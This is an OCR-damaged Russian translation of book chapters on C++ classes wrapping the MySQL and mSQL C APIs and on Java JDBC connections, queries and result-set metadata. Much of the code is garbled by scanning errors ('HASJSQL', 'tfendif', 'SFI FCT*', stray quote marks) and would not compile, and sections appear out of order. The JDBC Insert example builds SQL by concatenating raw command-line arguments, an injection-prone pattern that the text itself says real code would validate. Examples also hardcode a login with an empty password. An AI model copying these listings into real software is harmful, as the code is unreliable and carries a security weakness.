    #elif defined (HAS.MYSQL) mysql_init(&mysql);

    connection = mysql_real_connect(&mysql, host,

    uid, pw,

    db, 0, 0); #else

    #error Нет соединения с базой данных.

    #endif

    if( !IsConnected() )

    {

    throw GetError();

    }

    if( state < 0 )

    {

    throw GetError();

    }

    }

    Оба конструктора разработаны с учетом различия параметров, требуемых для соединений MySQL и mSQL. Тем не менее эти API должны разрешать обоим конструкторам работать с каждой из баз данных. Это достигается игнорированием ID пользователя и пароля при вызове конструктора с четырьмя аргументами. Аналогично при вызове конструктора с двумя аргументами, серверу MySQL в качестве значений ID пользователя и пароля передаются значения null. Фактическое соединение с базой данных происходит в методе Connect ().

    Метод Connect() инкапсулирует все шаги, необходимые для соединения. Для MySQL он вызывает метод mysql_real_connect() . Для mSQL жe сначала вызывается метод msqlConnect(), а затем msqlSelectDB() . При неудаче на любом из этапов Connect() возбуждает исключительную ситуацию.

    Отсоединение от базы данных

    Другой логической функцией класса Connection является отсоединение от базы данных и освобождение скрытых от приложения ресурсов. Эту функцию осуществляет метод Close (). В примере 13-5 показано, как происходит отсоединение от MySQL и mSQL.

    Пример 13-5. Освобождение ресурсов базы данных

    Connection::"Connection() {

    if( IsConnected() ) {

    Close();

    } }

    void Connection::Close() {

    if( !IsConnected() )

    {

    return;

    }

    #if defined(HAS_MSQL)

    msqlClose(connection);

    connection = -1;

    #elif defined(HAS_MYSQL)

    mysql_close(connection);

    connection = (MYSQL *)NULL;


    #else

    #error Нет соединения с базой данных, tfendif }

    Методы mysql_close() и msqlClose() освобождают ресурсы, используемые соединениями с MySQL и mSQL соответственно.

    Выполнение обращений к базе данных

    В промежутке между открытием соединения и закрытием базе данных обычно посылаются команды. Класс Connection делает это с помощью метода Query(), принимающего команду SQL в качестве аргумента. Если команда является запросом, она возвращает экземпляр класса Result из объектной модели, представленной на рио. 13-1. Если же команда обновляет данные, то метод возвращает NULL и устанавливает значение affected_rows равным количеству строк, в которых произведены изменения. В примере 13-6 показано, как класс Connection обрабатывает запросы к базам данных MySQL и mSQL.

    Пример 13-6. Обработка запроса к базе данных

    Result "Connection::Query(char *sql) { T_RESULT *res; int state;

    // Если нет соединения, делать нечего

    if( !lsConnected(-) ) { throw "Соединения нет.";

    }

    // Выполнить запрос

    #if defined(HAS_MSQL)

    state = msqlQuery(connection, sql);

    #elif defined(HAS_MYSQL)

    state = mysql_query(connection, sql);

    #else

    #error Нет соединения с базой данных,

    #endif

    // Если произошла ошибка

    if( state < 0 ) { throw GetError();

    }

    // Забрать результаты, если таковые имеются

    #if defined(HAS_MSQL)

    res = msqlStoreResult();

    #elif defined(HAS_MYSQL)

    res = mysql_store_result(connection);

    #else

    #error Нет соединения с базой данных,

    #endif

    // Если результат null, это было обновление или произошла ошибка

    // Примечание: mSQL не порождает ошибки в msqlStoreResult()

    if( res == (T_RESULT *)NULL ) {

    // Установить значение affected_rows равным возвращенному msqlQuery()

    #if defined(HAS_MSQL)

    affected_rows = state;

    #elif defined(HAS_MYSQL)

    // field_count != 0 означает, что произошла ошибка

    int field_count = mysql_num_fields(connection);

    if( field_count != 0 )

    {

    throw GetError();

    }

    else

    {

    // Запомнить affected_rows

    affected_rows = mysql_affected_rows(connection); }


    #else

    #error Нет соединения с базой данных,

    #endif

    //Возвратить NULL в случае обновления

    return (Result *)NULL; }

    // Для запроса возвратить экземпляр Result

    return new Result(res); }

    В начале обращения к базе данных делается вызов метода mysql_query() или msqlQuery() с передачей ему команды SQL, которую нужно выполнить. В случае ошибки оба API возвращают отличное от нуля значение. На следующем этапе вызываются mysql_store_result() или msqlStoreResult() , чтобы проверить, получены ли результаты, и сделать эти результаты доступными приложению. В этом месте две СУБД несколько отличаются в деталях обработки.

    В mSQL API метод msqlStoreResult() не генерирует ошибки. Эту функцию приложение использует для того, чтобы поместить полученный результирующий набор в хранилище, управлять которым будет приложение, а не mSQL API. Иными словами, при вызове msqlQuery() результаты запоминаются во временной области памяти, управляемой API. Последующие вызовы msqlQuery() затирают эту область памяти. Чтобы сохранить результат в области памяти вашего приложения, нужно вызвать msqlStoreResult() .

    Поскольку метод msqlStoreResult() не генерирует ошибку, при его вызове нужно рассматривать две возможности. Если обращение к базе данных было запросом, создавшим результирующий набор, то msqlStoreResult() возвращает указатель на структуру m_result, с которой может работать ваше приложение. При всех других типах обращения (обновление, вставка, удаление или создание) msqlStoreResult() возвращает NULL. Узнать количество строк, обработанных неизвлекающим данные запросом, можно из значения, возвращенного исходным вызовом msqlQuery() .

    Подобно msqlStoreResult() , метод mysql_store_result() используется для запоминания данных, возвращенных запросом, в области памяти приложения, но, в отличие от версии для mSQL, необходимо создать для mysql_store_result() некий обработчик ошибок. Именно, значение NULL, возвращенное mysql_store_result() , может означать и то, что запрос не предполагал возвращение результирующего набора, и ошибку при получении последнего. Вызов метода mysql__num_f ields() позволит определить истинную причину. Отличное от 0 значение счетчика полей свидетельствует о происшедшей ошибке. Число измененных строк можно определить при обращении к методу mysql_affected_rows() .*


    Другие методы класса Connection

    По всему классу Connection разбросаны два вспомогательных метода, IsConnected() и GetError(). Проверить состояния соединения просто — достаточно посмотреть значение атрибута connection. Оно должно быть не NULL для MySQL или отличным от -1 для mSQL. Напротив, сообщения об ошибках требуют некоторых пояснений.

    Извлечение сообщений об ошибках для mSQL просто и безыскусно, нужно лишь использовать значение глобальной переменной msqlErrMsg . Ее значение точно совпадает с тем, что возвращает от mSQL метод GetError(). С MySQL дело обстоит несколько сложнее. При обработке любых сообщений об ошибках необходимо учитывать многопоточность. В многопоточной среде обработка ошибок осуществляется путем получения сообщений об ошибках с помощью функции mysql_error() . В примере 13-7 показаны обработка ошибок для MySQL и mSQL в методе GetError(), а также проверка соединения в методе IsConnected() .

    Пример 13-7. Чтение сообщений об ошибках и другие вспомогательные задачи класса Connection

    int Connection::GetAffectedRows() {

    return affected_rows; }

    char 'Connection::GetError() {

    #if defined(HAS_MSQL)

    return msqlErrMsg:

    #elif defined(HAS_MYSQL)

    if( IsConnected() ) {

    return mysql_error(connection); }

    else {

    return mysql_error(&mysql); }

    #else

    #error Нет соединения с базой данных,

    #endif }

    int Connection::IsConnected() {

    #if defined(HAS_MSQL)

    return !(connection < 0);

    #elif defined(HAS_MYSQL)

    return !(iconnection);

    #else

    #error Нет соединения с базой данных,

    #endif

    )

    Проблемы при обработке ошибок

    Хотя обрабатывать ошибки, как это описано выше, несложно благодаря инкапсуляции обработки в простой вызов API в классе Connection , следует остерегаться некоторых потенциальных проблем. Во-первых, при работе с mSQL обработка ошибок осуществляется глобально в пределах приложения. Если приложение поддерживает несколько соединений, значение msqlErrMsg относится к последней ошибке последнего вызова какой-либо функции mSQL API. Следует также учесть, что хотя mSQL - однопоточное приложение, можно создавать многопоточные приложения, использующие mSQL, но проявлять крайнюю осторожность при извлечении сообщений об ошибках. Именно, необходимо написать собственный API, корректно работающий с потоками поверх mSQL С API, который копирует сообщения об ошибках и связывает их с соответствующими соединениями.


    Обе СУБД управляют и сохраняют сообщения об ошибках внутри своих соответствующих API. Поскольку вы не распоряжаетесь этой деятельностью, может возникнуть другая проблема, связанная с запоминанием сообщений об ошибках. В нашем C++ API обработка ошибок . происходит сразу после их возникновения и до того, как приложение сделает новое обращение к базе данных. Если мы хотим продолжить обработку и лишь позднее заняться ошибками, сообщение об ошибке следует скопировать в область памяти нашего приложения.

    Результирующие наборы

    Класс Result абстрагируется от понятий результатов MySQL и mSQL. Он должен обеспечивать доступ как к данным результирующего набора, так и к сопутствующим этому набору метаданным. Согласно объектной модели на рис. 13-1, наш класс Result будет поддерживать циклический просмотр строк результирующего набора и получение числа строк в нем. Ниже в примере 13-8 приведен заголовочный файл класса Result.

    Пример 13-8. Интерфейс класса Result в result.h

    #ifndef 1_result_h

    #define 1_result_h

    #include

    #if defined(HASJSQL)

    #include

    #elif defined(HAS_MYSQl)

    #include

    #endif

    #include "row.h"

    class Result { private:

    int row_count;

    T_RESULT *result;

    Row *current_row;

    public:

    Result(T_RESULT *);

    ~Result();

    void Close();

    Row *GetCurrentRow();

    int GetRowCount();

    int Next(); };

    #endif // l_result_h

    Перемещение по результатам

    Наш класс Result позволяет работать с результирующим набором построчно. Получив экземпляр класса Result в результате обращения к методу Query() , приложение должно последовательно вызывать Next() и GetCurrentRow(), пока очередной Next() не возвратит 0. Пример 13-9 показывает, как выглядят эти действия для MySQL и mSQL.

    Пример 13-9. Перемещение по результирующему набору

    int Result::Next() { T_ROW row;

    if( result == (T_RESULT *)NULL ) {

    throw "Результирующий набор закрыт.";

    }

    #if defined(HAS_MSQL)

    row = msqlFetchRow(result);

    #elif defined(HAS_MYSQL)


    row = mysql_fetch_row(result);

    #else

    #error Нет соединения с базой данных,

    #endif if( ! row )

    {

    current_row = (Row *)NULL;

    return 0;

    }

    else

    {

    current_row = new Row(result, row);

    return 1;

    }

    }

    Row 'Result::GetCurrentRow()

    {

    if( result == (T_RESULT *)NULL )

    { throw "Результирующий набор закрыт.";

    }

    return current_row; }

    Заголовочный файл row.h в примере 13-11 определяет T_ROW и T_RESULT в зависимости от того, для какого ядра базы данных компилируется приложение. Перемещение к следующей строке в обеих базах данных осуществляется одинаково и просто. Вы вызываете mysql_fetch_row() или msqlFetchRow() . Если вызов возвращает NULL, значит, необработанных строк не осталось.

    В объектно-ориентированной среде это единственный тип навигации, которым вы должны пользоваться. API для базы данных в объектно-ориентированном программировании существует лишь для обеспечения извлечения данных, а не их обработки. Обработка данных должна быть заключена в объектах доменов. Однако не все приложения являются объектно-ориентированными. MySQL и mSQL предоставляют функции, позволяющие перемещаться к определенным строкам в базе данных. Это методы mysql_data_seek() mnsqlDataSeek() соответственно.

    Освобождение ресурсов и подсчет строк

    Приложения баз данных должны освобождать после себя ресурсы. Обсуждая класс Connection, мы отметили, как результирующие наборы, порождаемые запросом, помещаются в память, управляемую приложением. Метод Close() класса Result освобождает память, занятую этим результатом. Пример 13-10 показывает, как освободить ресурсы, занятые результатом, и получить количество строк в нем.

    Пример 13-10. Освобождение ресурсов и подсчет числа строк

    void Result::Close() {

    if( result == (T_RESULT *)NULL ) { return;

    }

    #if defined(HAS_MSQL)

    msqlFreeResult(result);

    #elif defined(HAS_MYSQL)

    mysql_free_result(result);

    #else

    #error Нет соединения с базой данных, ftendif

    result = (TJESULT *)NULL; '

    }

    int Result::GetRowCount()

    {


    if( result == (T_RESULT *)NULL )

    {

    throw "Результирующий набор закрыт.";

    }

    if( row_count > -1 )

    {

    return row_count;

    }

    else

    {

    #if defined(HAS_MSQL)

    row_count = msqlNumRows(result);

    #elif defined(HAS_MYSQL)

    row_count = mysql_num_rows(result);

    #else

    #error Нет соединения с базой данных,

    #endif

    return row_count;

    }

    }

    Строки

    Отдельная строка результирующего набора представляется в нашей объектной модели классом Row. Класс Row позволяет приложению извлекать отдельные поля строки. В примере 13-11 показано объявление класса Row.

    Пример 13-11. Объявление класса Row в row.h

    #ifndef l_row_h

    #define l_row_h

    #include

    #if defined(HAS_MSQL)

    #include

    #define T_RESULT m_result

    #define T_ROW m_row

    #elif defined(HAS_MYSQL)

    #include

    #define T_RESULT MYSQL_RES

    #define T_ROW MYSQL_ROW

    #endif

    class Row { private:

    T_RESULT 'result;

    T_ROW fields;

    public:

    Row(T_RESULT *, T_ROW);

    ~Row();

    char *GetField(int);

    int GetFieldCount();

    int IsClosed();

    void Close();

    };

    #endif // l_row_h

    В обоих API есть макросы для типов данных, представляющие результирующий набор и строку внутри него. В обоих API строка является массивом строк, содержащих данные этой строки, и ничем более. Доступ к этим данным осуществляется по индексу массива в порядке, определяемом запросом. Например, для запроса SELECT user_id , password FROM users индекс 0 указывает на имя пользователя и индекс 1 -на пароль. Наш C++ API делает это индексирование несколько более дружественным для пользователя. GetField(1) возвратит первое поле, или f ields[0]. Пример 13-12 содержит полный листинг исходного кода для класса Row.

    Пример 13-12. Реализация класса Row

    #include

    #include "row.h"

    Row::Row(T_RESULT *res, T_ROW row) {

    fields = row;

    result = res; }

    Row::"Row() {

    if( ! IsClosed() ) {

    Close();

    }

    }

    void Row::Close() {

    if( IsClosed() ) {

    throw "Строка освобождена.";


    }

    fields = (T_ROW)NULL;

    result = (T_RESULT *)NULL;

    }

    int Row::GetFieldCount()

    {

    if( IsClosed() )

    {

    throw "Строка освобождена.";

    } #if defined(HASJISQL)

    return msqlNumFields(result);

    #elif defined(HAS_MYSQL)

    return mysql_num_fields(result);

    #else

    #error Нет соединения с базой данных,

    #endif }

    // При вызове этого метода нужно быть готовым

    // к тому, что может быть возвращен

    NULL, char *Row::GetField(int field)

    {

    if( IsClosed() )

    {

    throw "Строка освобождена.";

    }

    if( field < 1 || field > GetFieldCount() .)

    { throw "Индех лежит вне допустимых значений.";}

    return fields[field-1]; }

    int Row::IsClosed() {

    return (fields == (T_ROW)NULL); }

    Пример приложения, использующего эти классы C++, прилагается к книге.

    Что такое JDBC?

    Как и все Java API, JDBC является набором классов и интерфейсов, в совокупности поддерживающих определенный набор функций. В случае JDBC эти функции обеспечивают доступ к базе данных. Классы и интерфейсы, составляющие JDBC API, являются, таким образом, абстракциями понятий, общих при доступе к базам данных любого типа. Например, Connection является интерфейсом Java, представляющим соединение с базой данных. Аналогично ResultSet представляет результирующий набор данных, возвращаемый командой SQL SELECT. Классы, образующие JDBC API, находятся в пакете Java, sql, который был введен Sun в JDK 1.1.

    Естественно, что конкретные детали доступа к базе данных зависят от ее изготовителя. JDBC фактически не имеет дела с этими деталями. Большая часть классов в пакете Java.sql является интерфейсами без реализации. Реализация этих интерфейсов осуществляется производителем базы данных в виде драйвера JDBC. В качестве программиста баз данных вам нужно знать очень немногое относительно драйвера, который вы используете, — все остальное делается через интерфейсы JDBC. Специфическая информация о базе данных, которая необходима для использования JDBC, включает в себя:

  • URL для драйвера JDBC.

  • Имя класса, реализующего Java. sql. Driver.

    Что такое JDBC?В новую спецификацию JDBC 2.0 включено необязательное для реализации производителями баз данных стандартное расширение API. Если поставщик вашей базы данных JDBC реализовал это стандартное расширение, вам даже нет необходимости знать JDBC URL или реализацию класса Driver. Это расширение предусматривает наличие класса DataSource, который можно найти по имени в каталоге с поддержкой JNDI.

    Оба эти элемента можно получить во время выполнения - из командной строки или файла свойств. Сам код программы не ссылается на эти два зависящие от реализации элемента. Мы разъясним, что делают JDBC URL и класс Driver в тех параграфах, где будем рассказывать о соединении с базами данных. На рисунке 14-1 представлена схема интерфейсов JDBC.

    JNDI - Java Naming and Directory Interface (интерфейс имен и каталогов Java) API. Он позволяет запоминать объекты Java в службе имен и каталогов, такой как сервер Lightweight Directory Access Protocol (облегченный протокол доступа к каталогам - LDAP), и находить их по имени.


    Что такое JDBC?

    Рис. 14-1. Классы и интерфейсы, входящие в JDBC API

    Соединение с базой данных

    Прежде всего нужно соединиться с базой данных. Один из немногих реализованных в пакете Java. sql. package классов - это класс DriverManager. Он поддерживает список реализаций JDBC и обеспечивает создание соединений с базами данных на основе сообщаемых ему JDBC URL. URL для JDBC имеет вид jdbc:protocol:subprotocol. Он сообщает DriverManager, с какой СУБД нужно соединиться, и передает ему данные, необходимые для осуществления соединения.

    Что такое JDBC?Смысл слова "driver" в JDBC зависит от контекста. При написании в нижнем регистре JDBC driver является собранием классов, в совокупности реализующих все интерфейсы JDBC и обеспечивающих приложение доступом хотя бы к одной базе данных. При написании Driver с заглавной буквы подразумевается класс, реализуемый в Java. sql. Driver. И наконец, JDBC предоставляет интерфейс DriverManager, с помощью которого можно вести учет всех различных реализаций Driver.

    Часть URL, обозначающая протокол, ссылается на конкретный драйвер JDBC. В случае MySQL и mSQL протоколами являются ту sql и msql соответственно. Субпротокол сообщает данные соединения, специфические для реализации. Для соединения с MySQL и mSQL требуются имя узла и имя базы данных. Дополнительно может потребоваться номер порта, если ядро базы данных запущено не как root. Поэтому полный URL для mSQL выглядит как, например, jdbc:msql://athens.imagi-nary.com: 1114/test. Он сообщает DriverManager о необходимости найти драйвер JDBC для mSQL и соединиться с базой данных test на athens.imaginary.com через порт 1114. Это делается путем единственного обращения к методу getConnection() интерфейса DriverManager. В примере 14-1 показано, как осуществить соединение с базой данных mSQL.

    Пример 14-1. Отрывок кода из примеров, предоставляемых с драйвером JDBC для mSQL, показывающий, как осуществить соединение

    import java.sql.*;

    public class Connect { public static void main(String argv[]) {

    Connection con = null;


    try {

    // Вот JDBC URL для этой базы данных

    String url = "jdbc:msql://athens.imaginary.com:1114/db_test";

    // 0 том, что делают классы Statement и ResultSet, ниже Statement stmt; ResultSet rs;

    // передать это как свойство, т.е.

    // -Djdbc.drivers=com.imaginary.sql.msql.MsqlDriver

    // или загрузить, как сделано в этом примере

    Class.fоrName("com.imaginary, sql. msql. MsqlDriver");

    // здесь осуществляется соединение

    con = DriverManager.getConnection(url, "borg", "");

    }

    catch( SQLException e ) {

    e.printStackTrace(); }

    finally {

    if( con != null ) {

    try { con.close();

    }

    catch( Exception e ) { }

    }

    }

    }

    }

    В этом примере соединение с базой данных осуществляется в строке con=DriverManager.getConnection(url, "borg", ""). В данном случае JDBC URL и имя класса, реализующего Driver, фактически введены в код приложения. В демонстрационной программе это допустимо, но всякое серьезное приложение должно загружать эти данные из файла свойств, получать через аргументы командной строки или из свойств системы. Реализация Driver будет автоматически загружена, если передать ее как системное свойство jdbc.drivers - иными словами, не нужно вызывать Class. ForName(). newlnstance(driver_name), если вы передаете имя драйвера как системное свойство jdbc.drivers. Второй и третий аргументы getConnection() передают ID пользователя и пароль, необходимые для установления соединения. Поскольку mSQL не использует пароли для авторизации пользователей, в примере используется пустая строка. Для MySQL же необходимо сообщить пароль.

    Поддержка переносимости с помощью файлов свойств

    Хотя наше внимание сосредоточено на двух конкретных базах данных, хорошей практикой программирования на Java является обеспечение полной переносимости приложений. Под переносимостью обычно подразумевается, что вы не пишете код, предназначенный для выполнения только на какой-то одной платформе. Однако для Java термин "переносимость" имеет более сильный смысл. Он означает независимость от аппаратных ресурсов и независимость от базы данных.


    Мы сказали о том, что JDBC URL и имя Driver зависят от реализации, но не сказали, как избежать их включения в код. Поскольку и то, и другое представляет собой простые строки, их можно передать в качестве параметров командной строки или как параметры апплетов. Это работающее, но едва ли элегантное решение, поскольку оно требует, чтобы пользователь помнил длинные командные строки. Аналогичное решение - выдавать пользователю приглашение для ввода этих данных, которое опять-таки требует, чтобы пользователь вспоминал JDBC URL и имя класса Java при каждом запуске приложения.

    Более изящное решение получается при использовании файла свойств. Файлы свойств поддерживаются классом Java. util. Resource-Bundle и его подклассами, позволяя приложению извлекать данные, относящиеся ко времени исполнения, из текстового файла. Для приложения, использующего JDBC, можно вставить в файл свойств URL и имя Driver, возложив на администратора приложения обязанность указать детали соединения. Пример 14-2 показывает файл свойств,

    предоставляющий данные о соединении.

    Пример 14-2. Файл SelectResource.properties с подробностями соединения

    Driver=com.imaginary.sql.msql.MsqlDriver

    URL=jdbc:msql://athens.imaginary.com:1114/db_test

    В примере 14-3 показан переносимый класс Connection.

    Пример 14-3. Специфические данные

    import java.sql.*; import java.util.*;

    public class Connect {

    public static void main(String argv[]) {

    Connection con = null;

    ResourceBundle bundle = ResourceBundle.getBundle("SelectResource");

    try {

    String url = bundle.getString("URL");

    Statement stmt; ResultSet rs;

    Class.forName(bundle.getString("Driver")); // здесь осуществляется соединение

    con = DriverManager.getConnection(url, "borg", ""); }

    catch( SQLException e ) { e. printStackTrace();

    }

    finally

    {

    if( con != null )

    {

    try { con.close(); }

    catch( Exception e ) { }

    }

    }

    }

    }

    В этом примере установления соединения мы избавились от кода, специфичного для mSQL. Однако для разработчиков переносимых JDBC-приложений остается одна важная проблема, особенно касающаяся тех, кто работает с mSQL. JDBC требует, чтобы все драйверы поддерживали начальный уровень (entry level) SQL2. Это стандарт ANSI минимальной поддержки SQL. Если при вызовах JDBC вы поддерживаете начальный уровень SQL2, то ваше приложение будет стопроцентно переносимо на другие базы данных. MySQL поддерживает минимальный уровень SQL2, a mSQL - увы, нет. Приложения, написанные для mSQL, скорее всего, без проблем будут переноситься на другие базы данных, но приложения, написанные с использованием начального уровня SQL92, в полном объеме нельзя будет безболезненно перенести обратно на mSQL.



    Динамический доступ к базе данных

    До сих пор мы имели дело с приложениями, в которых во время компиляции точно известно, что нужно будет делать. Если бы это был единственный тип поддержки, обеспечиваемый JDBC, никто не смог бы написать для Mysql и msql интерактивные инструменты командной строки, способные во время исполнения принимать команды SQL и выполнять их. Класс JDBC Statement поддерживает метод execute() для выполнения SQL-команд, которые могут быть запросами или обновлениями. Кроме того, экземпляры ResultSet обеспечивают предоставление о себе информации времени исполнения через интерфейс с именем ResultSetMetaData, доступ к которому осуществляется через вызов метода getMetaData() для ResultSet.

    Метаданные

    Термин метаданные звучит официозно, но на самом деле это не более чем дополнительные данные о некотором объекте, которые, если бы действительно хранились в объекте, просто зря тратили бы ресурсы. Например, для простых приложений не нужны имена колонок, связанных с результирующим набором ResultSet: программисту они, скорее всего, известны во время написания программы. Поэтому помеще

    ние этих дополнительных данных в класс ResultSet не рассматривается разработчиками JDBC как нечто существенное для функциональности ResultSet. Однако в некоторых случаях программирования баз данных i такие вещи, как имена колонок, очень важны, особенно при осуществлении динамического доступа к базам данных. Доступ к этим дополнительным данным - метаданным - разработчики JDBC обеспечили через интерфейс ResultSetMetaData. Этот класс позволяет узнать:

  • Число колонок в результирующем наборе.

  • Является ли NULL допустимым значением в колонке.

  • Метку, используемую для заголовка колонки.

  • Имя заданной колонки.

  • Таблицу, служащую источником данных для данной колонки.

  • Тип данных колонки.

    Другим примером класса, поставляемым вместе с драйвером mSQL-JDBC, является приложение Exec. Оно принимает любую команду SQL, задаваемую в командной строке, и выполняет ее. В примере 14-6 приводится соответствующий исходный код.


    Пример 14-6. Исходный код приложения Exec для выполнения динамического SQL

    import java.sql.*;

    public class Exec {

    public static void main(String args[]) {

    Connection con = null; String sql = "";

    for(int i=0; i
    sql = sql + args[i];

    if( i < args.length - 1 ) {

    sql = sql + " ";

    }

    }

    System, out. рrintln("Выполнение: " + sql);

    try {

    Class.forName("com.imaginary. sql.msql.MsqlDriver").newlnstance();

    String url = "jdbc:msql://athens.imaginary.com:1114/db_test";

    con = DriverManager.getConnection(url, "borg", "");

    Statement s = con.createStatement();

    if( s.execute(sql) ) {

    ResultSet r = s.getResultSet();

    ResultSetMetaData meta = r.getMetaData();

    int cols = meta.getColumnCount();

    int rownum = 0;

    while( r.next() ) { rownum++;

    System, out. println("Crpокa: " + rownum);

    for(int i=0; i
    System.out.print(meta.getColumnLabel(i+1) + ": ' + r.getObject(i+1) + ", ");

    }

    System.out.println("");

    }

    }

    else

    {

    System.out.println(s.getUpdateCount() + " строк обработано.");

    }

    s.close();

    con.close();

    }

    catch( Exception,e ) { e. printStackTrace();

    }

    finally

    {

    if( con != null )

    {

    try { con.close();

    }

    catch( SQLException e ) { }

    }

    }

    }

    }

    Для каждого результирующего набора обеспечивается получение экземпляра ResultSetMetaData с помощью метода getMetaData(). При динамическом доступе к базе данных необходимо узнать, сколько колонок в результирующем наборе, чтобы с уверенностью извлечь все колонки и их имена для вывода пользователю. Метаданные нашего результирующего набора обеспечивают получение всех этих данных с помощью методов getColumnCount() и getColumnLabel().

    Обработка динамического SQL

    В примере 14-6 введено понятие динамического вызова SQL. Поскольку мы не знаем, будет это запрос на получение данных или обновление, нужно передать вызов SQL через метод execute (). Этот метод возвращает true, если команда возвратила результирующий набор, и false в противном случае. В нашем примере, если возвращается true, то приложение получает возвращаемый ResultSet через вызов метода getResultSet(). Затем приложение может перейти к обычной обработке результирующего набора. Если, напротив, команда произвела какую-либо модификацию базы данных, можно вызвать метод getUpdateCu-unt() для подсчета числа строк, модифицированных командой.



    К несчастью, каждый API позволяет

    Java u JDBC

    В главе 13 "Си C++", мы познакомили вас с С API для MySQL и mSQL. К несчастью, каждый API позволяет писать программы только для той базы данных, которую он поддерживает. Если вы собираетесь переносить приложение между MySQL и mSQL или, того хуже, хотите, чтобы оно работало на Oracle, Sybase или с любой другой СУБД, вам необходимо переписать свой код так, чтобы он использовал фирменный API этого ядра. Однако Java-программисты по большей части избавлены от проблем переносимости на другую базу данных. У них есть единый API, Java DataBase Connectivity API (JDBC), обеспечивающий их унифицированным интерфейсом ко всем SQL-базам данных.

    Поскольку JDBC является единым интерфейсом ко всем базам данных, достаточно изучить его, чтобы писать приложения, которые будут работать как с MySQL, так и с mSQL. На самом деле, если должным образом использовать JDBC, то написанные вами на Java приложения смогут работать с любой СУБД. Если у вас есть доступ к другим базам данных, кроме MySQL и mSQL, можете проверить верность этого утверждения, запустив примеры данной главы с другой базой данных.

    Для чтения этой главы предполагается знание основ языка программирования Java и лежащих в его основе концепций. Если такой подготовки у вас нет, настоятельно рекомендуем посмотреть "Exploring Java" (O'Reilly & Associates, Inc.). Узнать более подробно о том, как создавать многоуровневые приложения баз данных, о чем мы рассказывали в главе 8 "Архитектуры приложений баз данных", можно из книги "Database Programming with JDBC and Java" (O'Reilly & Associates, Inc.).



    Простой доступ к базе данных

    В примере Connect делалось не много. В нем было просто показано, как соединиться с базой данных. В соединении с базой данных нет пользы, пока вы не начинаете действительно обмениваться с ней данными. Простейшие виды доступа к базе данных - команды SELECT, INSERT, UPDATE и DELETE. В JDBC API вы используете экземпляр Connection для создания экземпляров класса Statement. Класс Statement представляет SQL-команду любого типа. В примере 14-4 показано, как вставить строку в базу данных, используя Statement.

    Пример 14-4. Вставка строки в mSQL с помощью объекта JDBC Statement

    import Java, sql.*;
    import Java, util.*;

    public class Insert {

    // Делаем вставку в таблицу, имеющую две колонки: test_id (int)

    // и test_val (char(55))

    // args[0] - это test_id, a args[1] - test_val

    public static void main(String argv[]) {

    Connection con = null;

    ResourceBundle bundle = ResourceBundle.getBundle("SelectResource");

    try {

    String url = bundle.getString("URL");
    Statement stmt;

    Class.forName(bundle.getString("Driver"));

    // здесь осуществляется соединение

    con = DriverManager.getConnection(url, "borg", "");

    stmt = con.createStatement();

    stmt.executeUpdate("INSERT INTO test (test_id, test_val) " +

    "VALUES(" + args[0] + ", '," + args[1] + ")");
    }
    catch( SQLException e )
    {

    e. printStackTrace();
    }
    finally
    {

    if( con != null )
    {

    try { con.close();
    }
    catch( Exception e ) { }

    }
    }
    }
    }

    В реальном приложении мы бы, конечно, проверили, что пользователь ввел значение типа INT для test_id, что оно уникально, и что длина введенного значения test_val не превышает 55 символов. Тем не менее пример показывает, как просто осуществлять вставку данных. Метод createStatement() делает то, о чем говорит его название: создает пустую SQL-команду, связанную с рассматриваемым соединением - объектом Connection. Затем метод executeUpdate() передает заданную строку SQL базе данных для выполнения. Как подсказывает название, executeUp-date() ожидает команды SQL, которая некоторым образом модифицирует базу данных. Вы можете использовать ее, чтобы вставлять новые строки, как показано выше, либо удалять строки, обновлять строки, создавать новые таблицы или производить любые другие изменения в базе данных.


    Запросы выполнять немного сложнее, чем обновления, поскольку они возвращают информацию из базы данных в виде объекта ResultSet. ResultSet является интерфейсом, представляющим 0 или более строк, являющихся результатом запроса, обращенного к базе данных. В классе JDBC Statement имеется метод executeQuery(), работающий подобно executeUpdate(), за исключением того, что он возвращает из базы данных ResultSet. Метод executeQuery() возвращает ровно один ResultSet, тем не менее имейте в виду, что JDBC поддерживает извлечение множественных результирующих наборов для тех баз данных, которые это позволяют. Ни MySQL, ни mSQL не поддерживают множественные результирующие наборы. Однако важно помнить о такой возможности, когда вы изучаете код для работы с иным ядром базы данных, написанный кем-то другим. В примере 14-5 показан простой запрос. На рис. 14-2 изображена модель данных з таблице test.

    Пример 14-5. Простой запрос

    import Java, sql.*;

    import Java, util.*;

    public class Select {

    public static void main(String argv[]) {

    Connection con = null;

    ResourceBundle bundle =ResourceBundle.getBundle("SelectResource");

    try {

    String url = bundle.getString("URL"); Statement stmt;

    ResultSet rs;

    Class.forName(bundle.getString("Driver")); // здесь осуществляется соединение

    con = DriverManager,getConnection(url, "borg", "");

    stmt = con.createStatement();

    rs = stmt .executeQuery("SFI FCT* from test ORDER BY test_id");

    System, out.print In("Полученные результаты:");

    while(rs. next()) {

    int a= rs.getInt("test_icT);

    String str = rs.getString("test_val");

    System.out.print(" ключ= " + a);

    System.out.print(" строка= " + str);

    System.out.print("\n");

    }

    stmt.close();

    }

    catch( SQLException e )

    {

    e. printStackTrace();

    }

    finally {

    if( con != null ) {

    try { con.close(); }

    catch( Exception e ) { }

    }

    }

    }

    }

    Приложение Select выполняет запрос и затем проходит по всем строкам ResultSet с помощью метода next(). До первого обращения к next() ResultSet не указывает ни на какую строку. Каждый вызов next () настраивает ResultSet на следующую строку. JDBC 2:0 вводит понятие результирующего набора с перемещением (scrollable). Если ваш экземпляр ResultSet позволяет перемещение, можно также обращаться к методу previous() для перемещения по результирующему набору в обратном направлении. Обработка строк заканчивается, когда next () возвращает false.


    Простой доступ к базе данных

    Рис. 14-2. Таблица test из учебной базы данных

    Работа со строкой означает получение значений для каждой колонки. Каково бы ни было значение в базе данных, можно использовать методы ResultSet для получения значения колонки с любым типом данных Java, который вас устраивает. В приложении Select вызов метода gе tInt() возвращал колонку test_id как int, а вызов getString() возвращал значение колонки test_val как String. Эти методы получения значения колонки принимают либо номер колонки, начиная с 1, либо ее имя. Следует, однако, всеми силами избегать извлечения значений с помощью имен колонок, поскольку такой способ значительно медленнее, чем получение их с помощью номеров колонок.

    Обработка ошибок и освобождение ресурсов

